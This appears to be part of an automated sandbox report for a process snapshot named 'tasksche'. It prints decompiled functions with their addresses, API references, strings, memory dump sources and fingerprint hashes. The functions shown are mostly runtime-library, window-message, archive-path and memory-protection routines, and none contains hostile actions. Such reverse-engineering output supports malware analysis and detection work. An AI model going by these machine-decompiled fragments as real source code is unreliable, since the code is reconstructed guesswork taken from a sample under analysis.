0x0041109f
0x004110a0
0x004110a6
0x004110a9
0x004110af
0x004110bc
0x004110bc
0x004110b1
0x004110b5
0x004110b5
0x004110be
0x004110c2
0x004110c2
0x004110c7
0x004110ce
0x00411100
0x00411106
0x004110d0
0x004110d0
0x004110d7
0x004110d9
0x004110dc
0x004110e5
0x004110f2
0x004110f2
0x004110e7
0x004110ee
0x004110ee
0x004110f5
0x004110fb
0x004110fb
0x00411110
0x00411118

APIs

__EH_prolog.LIBCMT ref: 00411077
EnterCriticalSection.KERNEL32(0044F590,?,?,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?), ref: 00411085
LeaveCriticalSection.KERNEL32(0044F590,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?,?,?), ref: 004110F5

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

LeaveCriticalSection.KERNEL32(0044F590,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?,?,?), ref: 00411100

Part of subcall function 00410F29: InitializeCriticalSection.KERNEL32(000001A0,?,000001B8,0044F590,004110EE,00000020,?,00409901,?,?,?,0040BB60,?,?,00000000,?), ref: 00410F62
Part of subcall function 00410F29: CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F6C
Part of subcall function 00410F29: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F7E

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CriticalSection$CreateLeave$EnterEventH_prologInitializeSemaphore_malloc
String ID:
API String ID: 1405584564-0
Opcode ID: 3f0bec743d3c3e54beb4ca038bcc84bad5a4a530a73f67f15a7eea00e341295c
Instruction ID: 491e5497db774d6ab3e78c5f78b9db4af1dc916e288055147b814ae628d52a75
Opcode Fuzzy Hash: 3f0bec743d3c3e54beb4ca038bcc84bad5a4a530a73f67f15a7eea00e341295c
Instruction Fuzzy Hash: 1A118234A01321EBD724AF74AC457EABBA4AB0C355F10453BE902E3692DBBC89D1865D

Uniqueness

Uniqueness Score: -1.00%

Function 0042332E Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042332E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00422C1F(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00422D0F(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00423234(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00423179(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x00423333
0x00423339
0x004233ac
0x00000000
0x00423340
0x00423340
0x00423343
0x0042335e
0x00423361
0x00423381
0x00423393
0x00423363
0x00423363
0x00423366
0x00000000
0x00423368
0x0042337a
0x0042337a
0x00423366
0x004233b1
0x004233b5
0x00423345
0x0042335d
0x0042335d
0x00423343

APIs

__cftof_l.LIBCMT ref: 00423354

Part of subcall function 00423179: __fltout2.LIBCMT ref: 004231A5

__cftog_l.LIBCMT ref: 0042337A
__cftoe_l.LIBCMT ref: 004233AC

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 44ddc5ebc1807cb1f8dbc3b2ce9dd0a677749795dee404b17e6a32e81244ff51
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: AE11723250015EFBCF125E85EC418EE3F32BB48355B988456FE1859130CA3ACAB2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 00411A8F Relevance: 6.0, APIs: 4, Instructions: 34
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411A8F(void* __ecx, intOrPtr _a4) {
				short _v4612;
				long _t11;
				int _t14;
				signed int _t16;

				E0041AAF0(0x1200);
				E0040BC16( &_v4612, 0x900, E0040C3BF(0x83), _a4);
				_t11 = GetLastError();
				_t14 = MessageBoxW( *0x441840,  &_v4612, E0040C3BF(0x96), 0x35);
				SetLastError(_t11);
				return _t16 & 0xffffff00 | _t14 == 0x00000004;
			}

0x00411a97
0x00411ab8
0x00411ac0
0x00411ae2
0x00411aef
0x00411afa

APIs

Part of subcall function 0040C3BF: LoadStringW.USER32(?,-004335D2,00000200), ref: 0040C410
Part of subcall function 0040C3BF: LoadStringW.USER32(?,-004335D2,00000200), ref: 0040C422

_swprintf.LIBCMT ref: 00411AB8

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

GetLastError.KERNEL32(?), ref: 00411AC0
MessageBoxW.USER32(?,00000000,00000096,00000035), ref: 00411AE2
SetLastError.KERNEL32(00000000), ref: 00411AEF

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLastLoadString$Message__vswprintf_c_l_swprintf
String ID:
API String ID: 2205000856-0
Opcode ID: 68bc4feaeb3ec1ded5fc4cddc0e8f758a38e28cbc6004bdae2a7d7facef01b9c
Instruction ID: 7f3341f69499fe42e6dffd8e50f304e55c87ac1a4f55305a7eb793650ce5b90b
Opcode Fuzzy Hash: 68bc4feaeb3ec1ded5fc4cddc0e8f758a38e28cbc6004bdae2a7d7facef01b9c
Instruction Fuzzy Hash: 74F02732140114ABF71137E08C4AECA379CFB087C5F000277FA01F21A2EA79996487BD

Uniqueness

Uniqueness Score: -1.00%

Function 00422313 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E00422313(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x42da10);
				E0041FA9C(__ebx, __edi, __esi);
				_t28 = E0041E9B4(__ebx, __edx, __edi, _t30);
				_t13 =  *0x430da4; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E0041EFA3(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x430e88; // 0x430db0
					 *((intOrPtr*)(_t29 - 0x1c)) = E004222D5(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E0042237D();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E0041E9B4(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E00421495(_t25, _t26, 0x20);
				}
				return E0041FAE1(_t28);
			}

0x00422313
0x00422313
0x00422313
0x00422313
0x00422313
0x00422315
0x0042231a
0x00422324
0x00422326
0x0042232e
0x00422352
0x00422354
0x0042235a
0x0042235e
0x00422361
0x0042236c
0x0042236f
0x00422376
0x00422330
0x00422330
0x00422334
0x00000000
0x00422336
0x0042233b
0x0042233b
0x00422334
0x00422340
0x00422344
0x00422349
0x00422351

APIs

__getptd.LIBCMT ref: 0042231F

Part of subcall function 0041E9B4: __getptd_noexit.LIBCMT ref: 0041E9B7
Part of subcall function 0041E9B4: __amsg_exit.LIBCMT ref: 0041E9C4

__getptd.LIBCMT ref: 00422336
__amsg_exit.LIBCMT ref: 00422344
__lock.LIBCMT ref: 00422354

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction ID: ac1e04e8c31356b773b53a495aea9e08dc5a2d3a98daccf88dafce2968103349
Opcode Fuzzy Hash: 2067aca802aea6c84e1c6e0627a9ce2a9215c14d0a893de0c815b7a1e0d9c920
Instruction Fuzzy Hash: D2F09631B00720EBDB60FBB6A50279D73A07F44724F54416FE844AB2D1CBBC9942DA5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D116 Relevance: 6.0, APIs: 4, Instructions: 29
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D116() {
				struct tagMSG _v32;
				int _t6;

				_t6 = PeekMessageW( &_v32, 0, 0, 0, 0);
				if(_t6 != 0) {
					GetMessageW( &_v32, 0, 0, 0);
					TranslateMessage( &_v32);
					return DispatchMessageW( &_v32);
				}
				return _t6;
			}

0x0040d127
0x0040d12f
0x0040d138
0x0040d142
0x00000000
0x0040d14c
0x0040d154

APIs

PeekMessageW.USER32 ref: 0040D127
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040D138
TranslateMessage.USER32(?), ref: 0040D142
DispatchMessageW.USER32 ref: 0040D14C

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Message$DispatchPeekTranslate
String ID:
API String ID: 4217535847-0
Opcode ID: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction ID: 62915b0a08277243b8fe4fd8ce30adb6e130eab43b2b780e39f86cd7d7c3188f
Opcode Fuzzy Hash: db1d2709ee26d26a19af258b04a512226032370801fdef34d6f208b0e00134af
Instruction Fuzzy Hash: 9FE0ED72E0112AA7CB20ABE19C0CDDB7F6CEE062517404021BD05E2015D638D116C7F5

Uniqueness

Uniqueness Score: -1.00%

Function 00409DF7 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00409DF7(intOrPtr _a4, intOrPtr _a8, signed char _a12) {
				char _v4100;
				char _v8196;
				short _t35;
				signed int _t38;
				short _t48;
				short _t50;
				short _t55;
				short _t56;
				signed int _t61;
				intOrPtr _t63;
				unsigned int _t66;
				signed int _t67;
				void* _t68;
				signed int _t69;

				E0041AAF0(0x2000);
				_t63 = _a4;
				_t66 = _a12;
				_t67 = _t66 & 0x0000ffff;
				_a12 = _t66 >> 0x0000001f & 0x00000001;
				if(_t67 == 0) {
					L25:
					_t63 = E0040A5DB(__eflags, _t63);
					_t68 = E0040A5DB(__eflags, _a8);
					_t35 = E00411E81(__eflags, L"__rar_", _t68, 6);
					__eflags = _t35;
					if(_t35 == 0) {
						L9:
						return 0;
					}
					_push(_a12);
					_push(_t68);
					__eflags = _t67 - 2;
					if(_t67 != 2) {
						L17:
						_push(_t63);
						return E00409CD1();
					}
					_push(_t63);
					_t38 = E00409C8B();
					asm("sbb eax, eax");
					return  ~_t38 + 1;
				}
				_t69 = E0041A7AF(_t63);
				if(_t67 == 2 || _t67 == 3 || E00409CAC(_t63, _a8, _t69, _a12) != 0) {
					L8:
					__eflags = _t67 - 1;
					if(_t67 != 1) {
						E0040A7AE(_t63,  &_v4100, 0x800);
						E0040A7AE(_a8,  &_v8196, 0x800);
						__eflags = _t67 - 2;
						if(_t67 == 2) {
							L12:
							_t48 = E00409C8B( &_v4100,  &_v8196, _a12);
							__eflags = _t48;
							if(_t48 != 0) {
								goto L9;
							}
							L13:
							__eflags = _t67 - 4;
							if(_t67 == 4) {
								L15:
								_t50 = E0040A0A4( &_v4100);
								__eflags = _t50;
								if(_t50 == 0) {
									__eflags = _t67 - 4;
									if(_t67 == 4) {
										L22:
										__eflags = _v4100;
										if(__eflags == 0) {
											goto L25;
										}
										_t55 = E00409CAC( &_v4100,  &_v8196, E0041A7AF( &_v4100), _a12);
										L24:
										__eflags = _t55;
										if(__eflags != 0) {
											goto L9;
										}
										goto L25;
									}
									_t56 = E0040A0A4(_t63);
									__eflags = _t56;
									if(_t56 != 0) {
										goto L22;
									}
									_t55 = E00409C8B( &_v4100,  &_v8196, _a12);
									goto L24;
								}
								_push(_a12);
								_push(_a8);
								goto L17;
							}
							__eflags = _t67 - 5;
							if(__eflags != 0) {
								goto L25;
							}
							goto L15;
						}
						__eflags = _t67 - 3;
						if(_t67 != 3) {
							goto L13;
						}
						goto L12;
					}
					goto L9;
				} else {
					_t61 =  *(_a8 + _t69 * 2) & 0x0000ffff;
					if(_t61 == 0x5c || _t61 == 0x2f || _t61 == 0) {
						return 1;
					} else {
						goto L8;
					}
				}
			}

0x00409dff
0x00409e05
0x00409e0a
0x00409e14
0x00409e1a
0x00409e1d
0x00409f41
0x00409f4a
0x00409f53
0x00409f5b
0x00409f60
0x00409f62
0x00409e68
0x00000000
0x00409e68
0x00409f68
0x00409f6b
0x00409f6c
0x00409f6f
0x00409ed7
0x00409ed7
0x00000000
0x00409ed8
0x00409f75
0x00409f76
0x00409f7d
0x00000000
0x00409f7f
0x00409e2a
0x00409e2f
0x00409e63
0x00409e63
0x00409e66
0x00409e7a
0x00409e8a
0x00409e8f
0x00409e92
0x00409e99
0x00409eaa
0x00409eaf
0x00409eb1
0x00000000
0x00000000
0x00409eb3
0x00409eb3
0x00409eb6
0x00409ec1
0x00409ec8
0x00409ecd
0x00409ecf
0x00409ee4
0x00409ee7
0x00409f0b
0x00409f0b
0x00409f13
0x00000000
0x00000000
0x00409f34
0x00409f39
0x00409f39
0x00409f3b
0x00000000
0x00000000
0x00000000
0x00409f3b
0x00409eea
0x00409eef
0x00409ef1
0x00000000
0x00000000
0x00409f04
0x00000000
0x00409f04
0x00409ed1
0x00409ed4
0x00000000
0x00409ed4
0x00409eb8
0x00409ebb
0x00000000
0x00000000
0x00000000
0x00409ebb
0x00409e94
0x00409e97
0x00000000
0x00000000
0x00000000
0x00409e97
0x00000000
0x00409e47
0x00409e4a
0x00409e52
0x00000000
0x00000000
0x00000000
0x00000000
0x00409e52

APIs

_wcslen.LIBCMT ref: 00409E24
_wcslen.LIBCMT ref: 00409F1F

Strings

__rar_, xrefs: 00409F56

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen
String ID: __rar_
API String ID: 176396367-2561138058
Opcode ID: cc00e60038d7e5b00a294da67532c8ff9d8da0984a3b6968a0dc5b622ff721b3
Instruction ID: 2f22db44ea277558b4e0ddbd7bf004989f9b0852302f55cc0e1d63be076b661c
Opcode Fuzzy Hash: cc00e60038d7e5b00a294da67532c8ff9d8da0984a3b6968a0dc5b622ff721b3
Instruction Fuzzy Hash: 2E41A176A0021966DF21AA65CC81BEF336DAF54384F08087BF905B31D3D63DCD9187A9

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEF5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E0040CEF5(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16) {
				void* _t10;
				long _t11;
				intOrPtr* _t22;
				void* _t23;
				signed int _t30;
				void* _t32;
				signed int _t33;
				intOrPtr _t35;

				_t35 =  *0x438808; // 0x0
				if(_t35 == 0) {
					E0040CEB6(0x438800);
				}
				_t33 = _a8;
				_t10 = _t33 - (_t33 & 0x0000000f);
				_t30 = 0 | _a16 != 0x00000000;
				if(_a12 == 0) {
					_t22 =  *0x43880c; // 0x0
					if(_t22 == 0) {
						goto L10;
					} else {
						_t11 =  *_t22(_a4, _t10, _t30);
						if(_t11 == 0) {
							_push(L"CryptUnprotectMemory failed");
							goto L6;
						}
					}
				} else {
					_t22 =  *0x438808; // 0x0
					if(_t22 == 0) {
						L10:
						_t11 = GetCurrentProcessId();
						_t23 = 0;
						if(_t33 > 0) {
							_t32 = _t11 + 0x4b;
							do {
								_t11 = _a4 + _t23;
								 *_t11 =  *_t11 ^ _t32 + _t23;
								_t23 = _t23 + 1;
							} while (_t23 < _t33);
						}
					} else {
						_t11 =  *_t22(_a4, _t10, _t30);
						if(_t11 == 0) {
							_push(L"CryptProtectMemory failed");
							L6:
							_push(0x4335ac);
							E00401000(E00406423(_t22));
							return E00406371(0x4335ac, 2);
						}
					}
				}
				return _t11;
			}

0x0040cefc
0x0040cf02
0x0040cf09
0x0040cf09
0x0040cf0e
0x0040cf1a
0x0040cf1f
0x0040cf25
0x0040cf60
0x0040cf68
0x00000000
0x0040cf6a
0x0040cf6f
0x0040cf73
0x0040cf75
0x00000000
0x0040cf75
0x0040cf73
0x0040cf27
0x0040cf27
0x0040cf2f
0x0040cf7c
0x0040cf7c
0x0040cf82
0x0040cf86
0x0040cf8a
0x0040cf8d
0x0040cf90
0x0040cf96
0x0040cf98
0x0040cf99
0x0040cf8d
0x0040cf31
0x0040cf36
0x0040cf3a
0x0040cf3c
0x0040cf41
0x0040cf46
0x0040cf50
0x00000000
0x0040cf59
0x0040cf3a
0x0040cf2f
0x0040cfa0

APIs

Part of subcall function 0040CEB6: LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CF0E,00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CEC4
Part of subcall function 0040CEB6: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CEDD
Part of subcall function 0040CEB6: GetProcAddress.KERNEL32(00438800,CryptUnprotectMemory), ref: 0040CEE9

GetCurrentProcessId.KERNEL32(00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?,00000001,?,?), ref: 0040CF7C

Strings

CryptUnprotectMemory failed, xrefs: 0040CF75
CryptProtectMemory failed, xrefs: 0040CF3C

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: AddressProc$CurrentLibraryLoadProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 137661620-396321323
Opcode ID: fe221cb1f1ebd7538222251a67e743d79676efd4ab4d459fbc5578979eb1af3c
Instruction ID: d47b55f9d8946329b2d763cf1c5c736fe64ad30a662938a08eea1033a11e378d
Opcode Fuzzy Hash: fe221cb1f1ebd7538222251a67e743d79676efd4ab4d459fbc5578979eb1af3c
Instruction Fuzzy Hash: C411C171304213AFDB09AF349CD197F6756CB41B14724423FF902AA2C2DA388C41529E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A19D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A19D(signed short* _a4) {
				signed short _t5;
				signed int _t7;
				signed int _t10;
				signed int _t11;
				signed short* _t15;
				signed short* _t21;

				_t21 = _a4;
				if( *_t21 == 0 || _t21[1] == 0 || E0041CA29( &(_t21[2]), 0x3a) == 0) {
					_t5 =  *_t21 & 0x0000ffff;
					_t15 = _t21;
					__eflags = _t5;
					if(_t5 == 0) {
						L13:
						__eflags = 0;
						return 0;
					}
					_t7 = _t5 & 0x0000ffff;
					while(1) {
						__eflags = _t7 - 0x20;
						if(__eflags < 0) {
							goto L3;
						}
						if(__eflags == 0) {
							L9:
							_t10 = E0040A0C5(_t15[1] & 0x0000ffff);
							__eflags = _t10;
							if(_t10 != 0) {
								goto L3;
							}
							L10:
							_t15 =  &(_t15[1]);
							_t7 =  *_t15 & 0x0000ffff;
							__eflags = _t7;
							if(_t7 != 0) {
								continue;
							}
							_t11 = E0041C9E6(_t21, L"?*<>|\"");
							__eflags = _t11;
							if(_t11 != 0) {
								goto L13;
							}
							return _t11 + 1;
						}
						__eflags = _t7 - 0x2e;
						if(_t7 != 0x2e) {
							goto L10;
						}
						goto L9;
					}
					goto L3;
				} else {
					L3:
					return 0;
				}
			}

0x0040a19e
0x0040a1a6
0x0040a1c4
0x0040a1c7
0x0040a1c9
0x0040a1cc
0x0040a20b
0x0040a20b
0x00000000
0x0040a20b
0x0040a1ce
0x0040a1d1
0x0040a1d1
0x0040a1d5
0x00000000
0x00000000
0x0040a1d7
0x0040a1df
0x0040a1e4
0x0040a1e9
0x0040a1eb
0x00000000
0x00000000
0x0040a1ed
0x0040a1ee
0x0040a1ef
0x0040a1f2
0x0040a1f5
0x00000000
0x00000000
0x0040a1fd
0x0040a204
0x0040a206
0x00000000
0x00000000
0x00000000
0x0040a208
0x0040a1d9
0x0040a1dd
0x00000000
0x00000000
0x00000000
0x0040a1dd
0x00000000
0x0040a1c0
0x0040a1c0
0x00000000
0x0040a1c0

APIs

_wcschr.LIBCMT ref: 0040A1B5
_wcspbrk.LIBCMT ref: 0040A1FD

Strings

?*<>|", xrefs: 0040A1F7

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: _wcschr_wcspbrk
String ID: ?*<>|"
API String ID: 3305141221-226352099
Opcode ID: 7f6a6c1d5428e83731d2b65d13748a0e82632fc7d37b167bce2bcb03fdaf0a03
Instruction ID: fc4717308da4314e5704a136f2044a521342e33b833bb001f63317f55d448289
Opcode Fuzzy Hash: 7f6a6c1d5428e83731d2b65d13748a0e82632fc7d37b167bce2bcb03fdaf0a03
Instruction Fuzzy Hash: 1DF0F42912832254DE38A6659805AB333D49F15784F60447FE8D2BA2C2EA3D8CE3C16F

Uniqueness

Uniqueness Score: -1.00%

Function 0041DEAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0041DEAB(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E0041A429(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E0041E9B4(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E0041E9B4(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E0041A402(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E0041DC43(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

0x0041deab
0x0041deab
0x0041deab
0x0041deab
0x0041deab
0x0041deae
0x0041deb4
0x0041dec2
0x0041dec8
0x0041ded0
0x0041dedc
0x0041dee4
0x0041deec
0x0041df00
0x0041df02
0x0041df06
0x0041df0b
0x0041df11
0x0041df13
0x0041df15
0x0041df18
0x00000000
0x0041df1f
0x0041df13
0x0041df06
0x0041df00
0x0041deec
0x0041df20

APIs

Part of subcall function 0041A429: __getptd.LIBCMT ref: 0041A42F
